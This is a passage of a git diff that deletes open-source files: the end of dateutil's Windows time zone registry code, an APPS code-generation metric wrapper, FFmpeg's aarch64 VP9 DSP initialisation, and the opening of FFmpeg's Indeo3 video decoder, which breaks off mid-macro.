tzwinlocal(tzwinbase): - """ - Class representing the local time zone information in the Windows registry - - While :class:`dateutil.tz.tzlocal` makes system calls (via the :mod:`time` - module) to retrieve time zone information, ``tzwinlocal`` retrieves the - rules directly from the Windows registry and creates an object like - :class:`dateutil.tz.tzwin`. - - Because Windows does not have an equivalent of :func:`time.tzset`, on - Windows, :class:`dateutil.tz.tzlocal` instances will always reflect the - time zone settings *at the time that the process was started*, meaning - changes to the machine's time zone settings during the run of a program - on Windows will **not** be reflected by :class:`dateutil.tz.tzlocal`. - Because ``tzwinlocal`` reads the registry directly, it is unaffected by - this issue. - """ - def __init__(self): - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - with winreg.OpenKey(handle, TZLOCALKEYNAME) as tzlocalkey: - keydict = valuestodict(tzlocalkey) - - self._std_abbr = keydict["StandardName"] - self._dst_abbr = keydict["DaylightName"] - - try: - tzkeyname = text_type('{kn}\\{sn}').format(kn=TZKEYNAME, - sn=self._std_abbr) - with winreg.OpenKey(handle, tzkeyname) as tzkey: - _keydict = valuestodict(tzkey) - self._display = _keydict["Display"] - except OSError: - self._display = None - - stdoffset = -keydict["Bias"]-keydict["StandardBias"] - dstoffset = stdoffset-keydict["DaylightBias"] - - self._std_offset = datetime.timedelta(minutes=stdoffset) - self._dst_offset = datetime.timedelta(minutes=dstoffset) - - # For reasons unclear, in this particular key, the day of week has been - # moved to the END of the SYSTEMTIME structure. - tup = struct.unpack("=8h", keydict["StandardStart"]) - - (self._stdmonth, - self._stdweeknumber, # Last = 5 - self._stdhour, - self._stdminute) = tup[1:5] - - self._stddayofweek = tup[7] - - tup = struct.unpack("=8h", keydict["DaylightStart"]) - - (self._dstmonth, - self._dstweeknumber, # Last = 5 - self._dsthour, - self._dstminute) = tup[1:5] - - self._dstdayofweek = tup[7] - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = self._get_hasdst() - - def __repr__(self): - return "tzwinlocal()" - - def __str__(self): - # str will return the standard name, not the daylight name. - return "tzwinlocal(%s)" % repr(self._std_abbr) - - def __reduce__(self): - return (self.__class__, ()) - - -def picknthweekday(year, month, dayofweek, hour, minute, whichweek): - """ dayofweek == 0 means Sunday, whichweek 5 means last instance """ - first = datetime.datetime(year, month, 1, hour, minute) - - # This will work if dayofweek is ISO weekday (1-7) or Microsoft-style (0-6), - # Because 7 % 7 = 0 - weekdayone = first.replace(day=((dayofweek - first.isoweekday()) % 7) + 1) - wd = weekdayone + ((whichweek - 1) * ONEWEEK) - if (wd.month != month): - wd -= ONEWEEK - - return wd - - -def valuestodict(key): - """Convert a registry key's values to a dictionary.""" - dout = {} - size = winreg.QueryInfoKey(key)[1] - tz_res = None - - for i in range(size): - key_name, value, dtype = winreg.EnumValue(key, i) - if dtype == winreg.REG_DWORD or dtype == winreg.REG_DWORD_LITTLE_ENDIAN: - # If it's a DWORD (32-bit integer), it's stored as unsigned - convert - # that to a proper signed integer - if value & (1 << 31): - value = value - (1 << 32) - elif dtype == winreg.REG_SZ: - # If it's a reference to the tzres DLL, load the actual string - if value.startswith('@tzres'): - tz_res = tz_res or tzres() - value = tz_res.name_from_string(value) - - value = value.rstrip('\x00') # Remove trailing nulls - - dout[key_name] = value - - return dout diff --git a/spaces/codeparrot/apps_metric/apps_metric.py b/spaces/codeparrot/apps_metric/apps_metric.py deleted file mode 100644 index 6692dbf0709cbbcffa0f57f7782d8ffa97f8211a..0000000000000000000000000000000000000000 --- a/spaces/codeparrot/apps_metric/apps_metric.py +++ /dev/null @@ -1,82 +0,0 @@ -# Copyright 2020 The HuggingFace Datasets Authors and the current dataset script contributor. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -"""Evaluation of code generation on the APPS benchmark""" - -import evaluate -import datasets -from .utils import compute_metrics -from .testing_util import run_test - - -_CITATION = """\ -@article{hendrycksapps2021, - title={Measuring Coding Challenge Competence With APPS}, - author={Dan Hendrycks and Steven Basart and Saurav Kadavath and Mantas Mazeika and Akul Arora and Ethan Guo and Collin Burns and Samir Puranik and Horace He and Dawn Song and Jacob Steinhardt}, - journal={NeurIPS}, - year={2021} -} -""" - - -_DESCRIPTION = """\ -This is a metric to evaluate code generation using the APPS benchmark "Measuring Coding Challenge Competence With -APPS" (https://arxiv.org/pdf/2105.09938.pdf). -""" - - -# TODO: Add description of the arguments of the module here -_KWARGS_DESCRIPTION = """ -Computes Average accuracy and strict accuracy for single generations, and pass@k for multiple generations. -Args: - predictions: list of code generations to score. It's a list of list(s), each corresponding to a problem from APPS dataset. - -Returns: - metrics: dict of three metrics: average accuracy, stric accuracy, and pass@k. -Examples: - >>> my_new_module = evaluate.load("loubnabnl/apps_metric") - >>> results = my_new_module.compute(predictions=[["s=input()\nprint(s)"]]) - >>> print(results) - {'avg_accuracy': 0, 'strict_accuracy': 0, 'pass_at_k': None} -""" - - - - -@evaluate.utils.file_utils.add_start_docstrings(_DESCRIPTION, _KWARGS_DESCRIPTION) -class apps_metric(evaluate.EvaluationModule): - """Evaluate code generation on APPS benchmark. - The generations are compiled and their corresponding unit tests are run""" - - def _info(self): - - return evaluate.EvaluationModuleInfo( - - module_type="metric", - description=_DESCRIPTION, - citation=_CITATION, - inputs_description=_KWARGS_DESCRIPTION, - - features=datasets.Features({ - 'predictions': datasets.Sequence(datasets.Value("string")), - }), - homepage="https://github.com/hendrycks/apps", - reference_urls=["https://huggingface.co/datasets/codeparrot/apps"] - ) - - - - def _compute(self, predictions, k_list=[1, 10, 100], count_errors=True, level="all", debug=False): - """Returns the scores""" - metrics = compute_metrics(predictions, k_list=k_list, count_errors=count_errors, level=level, debug=debug) - return metrics \ No newline at end of file diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/aarch64/vp9dsp_init_aarch64.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/aarch64/vp9dsp_init_aarch64.c deleted file mode 100644 index 4d1fee62deb95227d45baaa0c71e8db1621fb8c6..0000000000000000000000000000000000000000 --- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/aarch64/vp9dsp_init_aarch64.c +++ /dev/null @@ -1,259 +0,0 @@ -/* - * Copyright (c) 2016 Google Inc. - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -#include "libavutil/attributes.h" -#include "libavutil/internal.h" -#include "libavutil/mem_internal.h" -#include "libavutil/aarch64/cpu.h" -#include "libavcodec/vp9dsp.h" -#include "vp9dsp_init.h" - -#define declare_fpel(type, sz) \ -void ff_vp9_##type##sz##_neon(uint8_t *dst, ptrdiff_t dst_stride, \ - const uint8_t *src, ptrdiff_t src_stride, \ - int h, int mx, int my) - -#define declare_copy_avg(sz) \ - declare_fpel(copy, sz); \ - declare_fpel(avg , sz) - -#define decl_mc_func(op, filter, dir, sz) \ -void ff_vp9_##op##_##filter##sz##_##dir##_neon(uint8_t *dst, ptrdiff_t dst_stride, \ - const uint8_t *src, ptrdiff_t src_stride, \ - int h, int mx, int my) - -#define define_8tap_2d_fn(op, filter, sz) \ -static void op##_##filter##sz##_hv_neon(uint8_t *dst, ptrdiff_t dst_stride, \ - const uint8_t *src, ptrdiff_t src_stride, \ - int h, int mx, int my) \ -{ \ - LOCAL_ALIGNED_16(uint8_t, temp, [((1 + (sz < 64)) * sz + 8) * sz]); \ - /* We only need h + 7 lines, but the horizontal filter assumes an \ - * even number of rows, so filter h + 8 lines here. */ \ - ff_vp9_put_##filter##sz##_h_neon(temp, sz, \ - src - 3 * src_stride, src_stride, \ - h + 8, mx, 0); \ - ff_vp9_##op##_##filter##sz##_v_neon(dst, dst_stride, \ - temp + 3 * sz, sz, \ - h, 0, my); \ -} - -#define decl_filter_funcs(op, dir, sz) \ - decl_mc_func(op, regular, dir, sz); \ - decl_mc_func(op, sharp, dir, sz); \ - decl_mc_func(op, smooth, dir, sz) - -#define decl_mc_funcs(sz) \ - decl_filter_funcs(put, h, sz); \ - decl_filter_funcs(avg, h, sz); \ - decl_filter_funcs(put, v, sz); \ - decl_filter_funcs(avg, v, sz); \ - decl_filter_funcs(put, hv, sz); \ - decl_filter_funcs(avg, hv, sz) - -#define ff_vp9_copy32_neon ff_vp9_copy32_aarch64 -#define ff_vp9_copy64_neon ff_vp9_copy64_aarch64 - -declare_copy_avg(64); -declare_copy_avg(32); -declare_copy_avg(16); -declare_copy_avg(8); -declare_copy_avg(4); - -decl_mc_funcs(64); -decl_mc_funcs(32); -decl_mc_funcs(16); -decl_mc_funcs(8); -decl_mc_funcs(4); - -#define define_8tap_2d_funcs(sz) \ - define_8tap_2d_fn(put, regular, sz) \ - define_8tap_2d_fn(put, sharp, sz) \ - define_8tap_2d_fn(put, smooth, sz) \ - define_8tap_2d_fn(avg, regular, sz) \ - define_8tap_2d_fn(avg, sharp, sz) \ - define_8tap_2d_fn(avg, smooth, sz) - -define_8tap_2d_funcs(64) -define_8tap_2d_funcs(32) -define_8tap_2d_funcs(16) -define_8tap_2d_funcs(8) -define_8tap_2d_funcs(4) - -static av_cold void vp9dsp_mc_init_aarch64(VP9DSPContext *dsp) -{ - int cpu_flags = av_get_cpu_flags(); - -#define init_fpel(idx1, idx2, sz, type, suffix) \ - dsp->mc[idx1][FILTER_8TAP_SMOOTH ][idx2][0][0] = \ - dsp->mc[idx1][FILTER_8TAP_REGULAR][idx2][0][0] = \ - dsp->mc[idx1][FILTER_8TAP_SHARP ][idx2][0][0] = \ - dsp->mc[idx1][FILTER_BILINEAR ][idx2][0][0] = ff_vp9_##type##sz##suffix - -#define init_copy(idx, sz, suffix) \ - init_fpel(idx, 0, sz, copy, suffix) - -#define init_avg(idx, sz, suffix) \ - init_fpel(idx, 1, sz, avg, suffix) - -#define init_copy_avg(idx, sz) \ - init_copy(idx, sz, _neon); \ - init_avg (idx, sz, _neon) - - if (have_armv8(cpu_flags)) { - init_copy(0, 64, _aarch64); - init_copy(1, 32, _aarch64); - } - - if (have_neon(cpu_flags)) { -#define init_mc_func(idx1, idx2, op, filter, fname, dir, mx, my, sz, pfx) \ - dsp->mc[idx1][filter][idx2][mx][my] = pfx##op##_##fname##sz##_##dir##_neon - -#define init_mc_funcs(idx, dir, mx, my, sz, pfx) \ - init_mc_func(idx, 0, put, FILTER_8TAP_REGULAR, regular, dir, mx, my, sz, pfx); \ - init_mc_func(idx, 0, put, FILTER_8TAP_SHARP, sharp, dir, mx, my, sz, pfx); \ - init_mc_func(idx, 0, put, FILTER_8TAP_SMOOTH, smooth, dir, mx, my, sz, pfx); \ - init_mc_func(idx, 1, avg, FILTER_8TAP_REGULAR, regular, dir, mx, my, sz, pfx); \ - init_mc_func(idx, 1, avg, FILTER_8TAP_SHARP, sharp, dir, mx, my, sz, pfx); \ - init_mc_func(idx, 1, avg, FILTER_8TAP_SMOOTH, smooth, dir, mx, my, sz, pfx) - -#define init_mc_funcs_dirs(idx, sz) \ - init_mc_funcs(idx, h, 1, 0, sz, ff_vp9_); \ - init_mc_funcs(idx, v, 0, 1, sz, ff_vp9_); \ - init_mc_funcs(idx, hv, 1, 1, sz,) - - init_avg(0, 64, _neon); - init_avg(1, 32, _neon); - init_copy_avg(2, 16); - init_copy_avg(3, 8); - init_copy_avg(4, 4); - - init_mc_funcs_dirs(0, 64); - init_mc_funcs_dirs(1, 32); - init_mc_funcs_dirs(2, 16); - init_mc_funcs_dirs(3, 8); - init_mc_funcs_dirs(4, 4); - } -} - -#define define_itxfm(type_a, type_b, sz) \ -void ff_vp9_##type_a##_##type_b##_##sz##x##sz##_add_neon(uint8_t *_dst, \ - ptrdiff_t stride, \ - int16_t *_block, int eob) - -#define define_itxfm_funcs(sz) \ - define_itxfm(idct, idct, sz); \ - define_itxfm(iadst, idct, sz); \ - define_itxfm(idct, iadst, sz); \ - define_itxfm(iadst, iadst, sz) - -define_itxfm_funcs(4); -define_itxfm_funcs(8); -define_itxfm_funcs(16); -define_itxfm(idct, idct, 32); -define_itxfm(iwht, iwht, 4); - - -static av_cold void vp9dsp_itxfm_init_aarch64(VP9DSPContext *dsp) -{ - int cpu_flags = av_get_cpu_flags(); - - if (have_neon(cpu_flags)) { -#define init_itxfm(tx, sz) \ - dsp->itxfm_add[tx][DCT_DCT] = ff_vp9_idct_idct_##sz##_add_neon; \ - dsp->itxfm_add[tx][DCT_ADST] = ff_vp9_iadst_idct_##sz##_add_neon; \ - dsp->itxfm_add[tx][ADST_DCT] = ff_vp9_idct_iadst_##sz##_add_neon; \ - dsp->itxfm_add[tx][ADST_ADST] = ff_vp9_iadst_iadst_##sz##_add_neon - -#define init_idct(tx, nm) \ - dsp->itxfm_add[tx][DCT_DCT] = \ - dsp->itxfm_add[tx][ADST_DCT] = \ - dsp->itxfm_add[tx][DCT_ADST] = \ - dsp->itxfm_add[tx][ADST_ADST] = ff_vp9_##nm##_add_neon - - init_itxfm(TX_4X4, 4x4); - init_itxfm(TX_8X8, 8x8); - init_itxfm(TX_16X16, 16x16); - init_idct(TX_32X32, idct_idct_32x32); - init_idct(4, iwht_iwht_4x4); - } -} - -#define define_loop_filter(dir, wd, len) \ -void ff_vp9_loop_filter_##dir##_##wd##_##len##_neon(uint8_t *dst, ptrdiff_t stride, int E, int I, int H) - -#define define_loop_filters(wd, len) \ - define_loop_filter(h, wd, len); \ - define_loop_filter(v, wd, len) - -define_loop_filters(4, 8); -define_loop_filters(8, 8); -define_loop_filters(16, 8); - -define_loop_filters(16, 16); - -define_loop_filters(44, 16); -define_loop_filters(48, 16); -define_loop_filters(84, 16); -define_loop_filters(88, 16); - -static av_cold void vp9dsp_loopfilter_init_aarch64(VP9DSPContext *dsp) -{ - int cpu_flags = av_get_cpu_flags(); - - if (have_neon(cpu_flags)) { - dsp->loop_filter_8[0][1] = ff_vp9_loop_filter_v_4_8_neon; - dsp->loop_filter_8[0][0] = ff_vp9_loop_filter_h_4_8_neon; - dsp->loop_filter_8[1][1] = ff_vp9_loop_filter_v_8_8_neon; - dsp->loop_filter_8[1][0] = ff_vp9_loop_filter_h_8_8_neon; - dsp->loop_filter_8[2][1] = ff_vp9_loop_filter_v_16_8_neon; - dsp->loop_filter_8[2][0] = ff_vp9_loop_filter_h_16_8_neon; - - dsp->loop_filter_16[0] = ff_vp9_loop_filter_h_16_16_neon; - dsp->loop_filter_16[1] = ff_vp9_loop_filter_v_16_16_neon; - - dsp->loop_filter_mix2[0][0][0] = ff_vp9_loop_filter_h_44_16_neon; - dsp->loop_filter_mix2[0][0][1] = ff_vp9_loop_filter_v_44_16_neon; - dsp->loop_filter_mix2[0][1][0] = ff_vp9_loop_filter_h_48_16_neon; - dsp->loop_filter_mix2[0][1][1] = ff_vp9_loop_filter_v_48_16_neon; - dsp->loop_filter_mix2[1][0][0] = ff_vp9_loop_filter_h_84_16_neon; - dsp->loop_filter_mix2[1][0][1] = ff_vp9_loop_filter_v_84_16_neon; - dsp->loop_filter_mix2[1][1][0] = ff_vp9_loop_filter_h_88_16_neon; - dsp->loop_filter_mix2[1][1][1] = ff_vp9_loop_filter_v_88_16_neon; - } -} - -av_cold void ff_vp9dsp_init_aarch64(VP9DSPContext *dsp, int bpp) -{ - if (bpp == 10) { - ff_vp9dsp_init_10bpp_aarch64(dsp); - return; - } else if (bpp == 12) { - ff_vp9dsp_init_12bpp_aarch64(dsp); - return; - } else if (bpp != 8) - return; - - vp9dsp_mc_init_aarch64(dsp); - vp9dsp_loopfilter_init_aarch64(dsp); - vp9dsp_itxfm_init_aarch64(dsp); -} diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/indeo3.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/indeo3.c deleted file mode 100644 index 5f1014f0d49492131a9fae5e25df1ce2bf1bf7d6..0000000000000000000000000000000000000000 --- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/indeo3.c +++ /dev/null @@ -1,1147 +0,0 @@ -/* - * Indeo Video v3 compatible decoder - * Copyright (c) 2009 - 2011 Maxim Poliakovski - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * This is a decoder for Intel Indeo Video v3. - * It is based on vector quantization, run-length coding and motion compensation. - * Known container formats: .avi and .mov - * Known FOURCCs: 'IV31', 'IV32' - * - * @see http://wiki.multimedia.cx/index.php?title=Indeo_3 - */ - -#include "libavutil/imgutils.h" -#include "libavutil/intreadwrite.h" -#include "libavutil/thread.h" -#include "avcodec.h" -#include "codec_internal.h" -#include "decode.h" -#include "copy_block.h" -#include "bytestream.h" -#include "get_bits.h" -#include "hpeldsp.h" - -#include "indeo3data.h" - -/* RLE opcodes. */ -enum { - RLE_ESC_F9 = 249, ///< same as RLE_ESC_FA + do the same with next block - RLE_ESC_FA = 250, ///< INTRA: skip block, INTER: copy data from reference - RLE_ESC_FB = 251, ///< apply null delta to N blocks / skip N blocks - RLE_ESC_FC = 252, ///< same as RLE_ESC_FD + do the same with next block - RLE_ESC_FD = 253, ///< apply null delta to all remaining lines of this block - RLE_ESC_FE = 254, ///< apply null delta to all lines up to the 3rd line - RLE_ESC_FF = 255 ///< apply null delta to all lines up to the 2nd line -}; - - -/* Some constants for parsing frame bitstream flags. */ -#define BS_8BIT_PEL (1 << 1) ///< 8-bit pixel bitdepth indicator -#define BS_KEYFRAME (1 << 2) ///< intra frame indicator -#define BS_MV_Y_HALF (1 << 4) ///< vertical mv halfpel resolution indicator -#define BS_MV_X_HALF (1 << 5) ///< horizontal mv halfpel resolution indicator -#define BS_NONREF (1 << 8) ///< nonref (discardable) frame indicator -#define BS_BUFFER 9 ///< indicates which of two frame buffers should be used - - -typedef struct Plane { - uint8_t *buffers[2]; - uint8_t *pixels[2]; ///< pointer to the actual pixel data of the buffers above - uint32_t width; - uint32_t height; - ptrdiff_t pitch; -} Plane; - -#define CELL_STACK_MAX 20 - -typedef struct Cell { - int16_t xpos; ///< cell coordinates in 4x4 blocks - int16_t ypos; - int16_t width; ///< cell width in 4x4 blocks - int16_t height; ///< cell height in 4x4 blocks - uint8_t tree; ///< tree id: 0- MC tree, 1 - VQ tree - const int8_t *mv_ptr; ///< ptr to the motion vector if any -} Cell; - -typedef struct Indeo3DecodeContext { - AVCodecContext *avctx; - HpelDSPContext hdsp; - - GetBitContext gb; - int need_resync; - int skip_bits; - const uint8_t *next_cell_data; - const uint8_t *last_byte; - const int8_t *mc_vectors; - unsigned num_vectors; ///< number of motion vectors in mc_vectors - - int16_t width, height; - uint32_t frame_num; ///< current frame number (zero-based) - int data_size; ///< size of the frame data in bytes - uint16_t frame_flags; ///< frame properties - uint8_t cb_offset; ///< needed for selecting VQ tables - uint8_t buf_sel; ///< active frame buffer: 0 - primary, 1 -secondary - const uint8_t *y_data_ptr; - const uint8_t *v_data_ptr; - const uint8_t *u_data_ptr; - int32_t y_data_size; - int32_t v_data_size; - int32_t u_data_size; - const uint8_t *alt_quant; ///< secondary VQ table set for the modes 1 and 4 - Plane planes[3]; -} Indeo3DecodeContext; - - -static uint8_t requant_tab[8][128]; - -/* - * Build the static requantization table. - * This table is used to remap pixel values according to a specific - * quant index and thus avoid overflows while adding deltas. - */ -static av_cold void build_requant_tab(void) -{ - static const int8_t offsets[8] = { 1, 1, 2, -3, -3, 3, 4, 4 }; - static const int8_t deltas [8] = { 0, 1, 0, 4, 4, 1, 0, 1 }; - - int i, j, step; - - for (i = 0; i < 8; i++) { - step = i + 2; - for (j = 0; j < 128; j++) - requant_tab[i][j] = (j + offsets[i]) / step * step + deltas[i]; - } - - /* some last elements calculated above will have values >= 128 */ - /* pixel values shall never exceed 127 so set them to non-overflowing values */ - /* according with the quantization step of the respective section */ - requant_tab[0][127] = 126; - requant_tab[1][119] = 118; - requant_tab[1][120] = 118; - requant_tab[2][126] = 124; - requant_tab[2][127] = 124; - requant_tab[6][124] = 120; - requant_tab[6][125] = 120; - requant_tab[6][126] = 120; - requant_tab[6][127] = 120; - - /* Patch for compatibility with the Intel's binary decoders */ - requant_tab[1][7] = 10; - requant_tab[4][8] = 10; -} - - -static av_cold void free_frame_buffers(Indeo3DecodeContext *ctx) -{ - int p; - - ctx->width = ctx->height = 0; - - for (p = 0; p < 3; p++) { - av_freep(&ctx->planes[p].buffers[0]); - av_freep(&ctx->planes[p].buffers[1]); - ctx->planes[p].pixels[0] = ctx->planes[p].pixels[1] = 0; - } -} - - -static av_cold int allocate_frame_buffers(Indeo3DecodeContext *ctx, - AVCodecContext *avctx, int luma_width, int luma_height) -{ - int p, chroma_width, chroma_height; - int luma_size, chroma_size; - ptrdiff_t luma_pitch, chroma_pitch; - - if (luma_width < 16 || luma_width > 640 || - luma_height < 16 || luma_height > 480 || - luma_width & 1 || luma_height & 1) { - av_log(avctx, AV_LOG_ERROR, "Invalid picture dimensions: %d x %d!\n", - luma_width, luma_height); - return AVERROR_INVALIDDATA; - } - - ctx->width = luma_width ; - ctx->height = luma_height; - - chroma_width = FFALIGN(luma_width >> 2, 4); - chroma_height = FFALIGN(luma_height >> 2, 4); - - luma_pitch = FFALIGN(luma_width, 16); - chroma_pitch = FFALIGN(chroma_width, 16); - - /* Calculate size of the luminance plane. */ - /* Add one line more for INTRA prediction. */ - luma_size = luma_pitch * (luma_height + 1); - - /* Calculate size of a chrominance planes. */ - /* Add one line more for INTRA prediction. */ - chroma_size = chroma_pitch * (chroma_height + 1); - - /* allocate frame buffers */ - for (p = 0; p < 3; p++) { - ctx->planes[p].pitch = !p ? luma_pitch : chroma_pitch; - ctx->planes[p].width = !p ? luma_width : chroma_width; - ctx->planes[p].height = !p ? luma_height : chroma_height; - - ctx->planes[p].buffers[0] = av_malloc(!p ? luma_size : chroma_size); - ctx->planes[p].buffers[1] = av_malloc(!p ? luma_size : chroma_size); - - if (!ctx->planes[p].buffers[0] || !ctx->planes[p].buffers[1]) - return AVERROR(ENOMEM); - - /* fill the INTRA prediction lines with the middle pixel value = 64 */ - memset(ctx->planes[p].buffers[0], 0x40, ctx->planes[p].pitch); - memset(ctx->planes[p].buffers[1], 0x40, ctx->planes[p].pitch); - - /* set buffer pointers = buf_ptr + pitch and thus skip the INTRA prediction line */ - ctx->planes[p].pixels[0] = ctx->planes[p].buffers[0] + ctx->planes[p].pitch; - ctx->planes[p].pixels[1] = ctx->planes[p].buffers[1] + ctx->planes[p].pitch; - memset(ctx->planes[p].pixels[0], 0, ctx->planes[p].pitch * ctx->planes[p].height); - memset(ctx->planes[p].pixels[1], 0, ctx->planes[p].pitch * ctx->planes[p].height); - } - - return 0; -} - -/** - * Copy pixels of the cell(x + mv_x, y + mv_y) from the previous frame into - * the cell(x, y) in the current frame. - * - * @param ctx pointer to the decoder context - * @param plane pointer to the plane descriptor - * @param cell pointer to the cell descriptor - */ -static int copy_cell(Indeo3DecodeContext *ctx, Plane *plane, Cell *cell) -{ - int h, w, mv_x, mv_y, offset, offset_dst; - uint8_t *src, *dst; - - /* setup output and reference pointers */ - offset_dst = (cell->ypos << 2) * plane->pitch + (cell->xpos << 2); - dst = plane->pixels[ctx->buf_sel] + offset_dst; - if(cell->mv_ptr){ - mv_y = cell->mv_ptr[0]; - mv_x = cell->mv_ptr[1]; - }else - mv_x= mv_y= 0; - - /* -1 because there is an extra line on top for prediction */ - if ((cell->ypos << 2) + mv_y < -1 || (cell->xpos << 2) + mv_x < 0 || - ((cell->ypos + cell->height) << 2) + mv_y > plane->height || - ((cell->xpos + cell->width) << 2) + mv_x > plane->width) { - av_log(ctx->avctx, AV_LOG_ERROR, - "Motion vectors point out of the frame.\n"); - return AVERROR_INVALIDDATA; - } - - offset = offset_dst + mv_y * plane->pitch + mv_x; - src = plane->pixels[ctx->buf_sel ^ 1] + offset; - - h = cell->height << 2; - - for (w = cell->width; w > 0;) { - /* copy using 16xH blocks */ - if (!((cell->xpos << 2) & 15) && w >= 4) { - for (; w >= 4; src += 16, dst += 16, w -= 4) - ctx->hdsp.put_pixels_tab[0][0](dst, src, plane->pitch, h); - } - - /* copy using 8xH blocks */ - if (!((cell->xpos << 2) & 7) && w >= 2) { - ctx->hdsp.put_pixels_tab[1][0](dst, src, plane->pitch, h); - w -= 2; - src += 8; - dst += 8; - } else if (w >= 1) { - ctx->hdsp.put_pixels_tab[2][0](dst, src, plane->pitch, h); - w--; - src += 4; - dst += 4; - } - } - - return 0; -} - - -/* Average 4/8 pixels at once without rounding using SWAR */ -#define AVG_32(dst, src, ref) \ - AV_WN32A(dst, ((AV_RN32(src) + AV_RN32(ref)) >> 1) & 0x7F7F7F7FUL) - -#define AVG_64(dst, src, ref) \ - AV_WN64A(dst, ((AV_RN64(src) + AV_RN64(ref)) >> 1) & 0x7F7F7F7F7F7F7F7FULL) - - -/* - * Replicate each even pixel as follows: - * ABCDEFGH -> AACCEEGG - */ -static inline uint64_t replicate64(uint64_t a) { -#if HAVE_BIGENDIAN - a &= 0xFF00FF00FF00FF00ULL; - a |= a >> 8; -#else - a &= 0x00FF00FF00FF00FFULL; - a |= a << 8; -#endif - return a; -} - -static inline uint32_t replicate32(uint32_t a) { -#if HAVE_BIGENDIAN - a &= 0xFF00FF00UL; - a |= a >> 8; -#else - a &= 0x00FF00FFUL; - a |= a << 8; -#endif - return a; -} - - -/* Fill n lines with 64-bit pixel value pix */ -static inline void fill_64(uint8_t *dst, const uint64_t pix, int32_t n, - int32_t row_offset) -{ - for (; n > 0; dst += row_offset, n--) - AV_WN64A(dst, pix); -} - - -/* Error codes for cell decoding. */ -enum { - IV3_NOERR = 0, - IV3_BAD_RLE = 1, - IV3_BAD_DATA = 2, - IV3_BAD_COUNTER = 3, - IV3_UNSUPPORTED = 4, - IV3_OUT_OF_DATA = 5 -}; - - -#define BUFFER_PRECHECK \ -if (*data_ptr >= last_ptr) \ - return IV3_OUT_OF_DATA; \ - -#define RLE_BLOCK_COPY \ - if (cell->mv_ptr || !skip_flag) \ - copy_block4(dst, ref, row_offset, row_offset, 4 << v_zoom) - -#define RLE_BLOCK_COPY_8 \ - pix64 = AV_RN64(ref);\ - if (is_first_row) {/* special prediction case: top line of a cell */\ - pix64 = replicate64(pix64);\ - fill_64(dst + row_offset, pix64, 7, row_offset);\ - AVG_64(dst, ref, dst + row_offset);\ - } else \ - fill_64(dst, pix64, 8, row_offset) - -#define RLE_LINES_COPY \ - copy_block4(dst, ref, row_offset, row_offset, num_lines << v_zoom) - -#define RLE_LINES_COPY_M10 \ - pix64 = AV_RN64(ref);\ - if (is_top_of_cell) {\ - pix64 = replicate64(pix64);\ - fill_64(dst + row_offset, pix64, (num_lines << 1) - 1, row_offset);\ - AVG_64(dst, ref, dst + row_offset);\ - } else \ - fill_64(dst, pix64, num_lines << 1, row_offset) - -#define APPLY_DELTA_4 \ - AV_WN16A(dst + line_offset ,\ - (AV_RN16(ref ) + delta_tab->deltas[dyad1]) & 0x7F7F);\ - AV_WN16A(dst + line_offset + 2,\ - (AV_RN16(ref + 2) + delta_tab->deltas[dyad2]) & 0x7F7F);\ - if (mode >= 3) {\ - if (is_top_of_cell && !cell->ypos) {\ - AV_COPY32U(dst, dst + row_offset);\ - } else {\ - AVG_32(dst, ref, dst + row_offset);\ - }\ - } - -#define APPLY_DELTA_8 \ - /* apply two 32-bit VQ deltas to next even line */\ - if (is_top_of_cell) { \ - AV_WN32A(dst + row_offset , \ - (replicate32(AV_RN32(ref )) + delta_tab->deltas_m10[dyad1]) & 0x7F7F7F7F);\ - AV_WN32A(dst + row_offset + 4, \ - (replicate32(AV_RN32(ref + 4)) + delta_tab->deltas_m10[dyad2]) & 0x7F7F7F7F);\ - } else { \ - AV_WN32A(dst + row_offset , \ - (AV_RN32(ref ) + delta_tab->deltas_m10[dyad1]) & 0x7F7F7F7F);\ - AV_WN32A(dst + row_offset + 4, \ - (AV_RN32(ref + 4) + delta_tab->deltas_m10[dyad2]) & 0x7F7F7F7F);\ - } \ - /* odd lines are not coded but rather interpolated/replicated */\ - /* first line of the cell on the top of image? - replicate */\ - /* otherwise - interpolate */\ - if (is_top_of_cell && !cell->ypos) {\ - AV_COPY64U(dst, dst + row_offset);\ - } else \ - AVG_64(dst, ref, dst + row_offset); - - -#define APPLY_DELTA_1011_INTER \ - if (mode == 10) { \ - AV_WN32A(dst , \ - (AV_RN32(dst ) + delta_tab->deltas_m10[dyad1]) & 0x7F7F7F7F);\ - AV_WN32A(dst + 4 , \ - (AV_RN32(dst + 4 ) + delta_tab->deltas_m10[dyad2]) & 0x7F7F7F7F);\ - AV_WN32A(dst + row_offset , \ 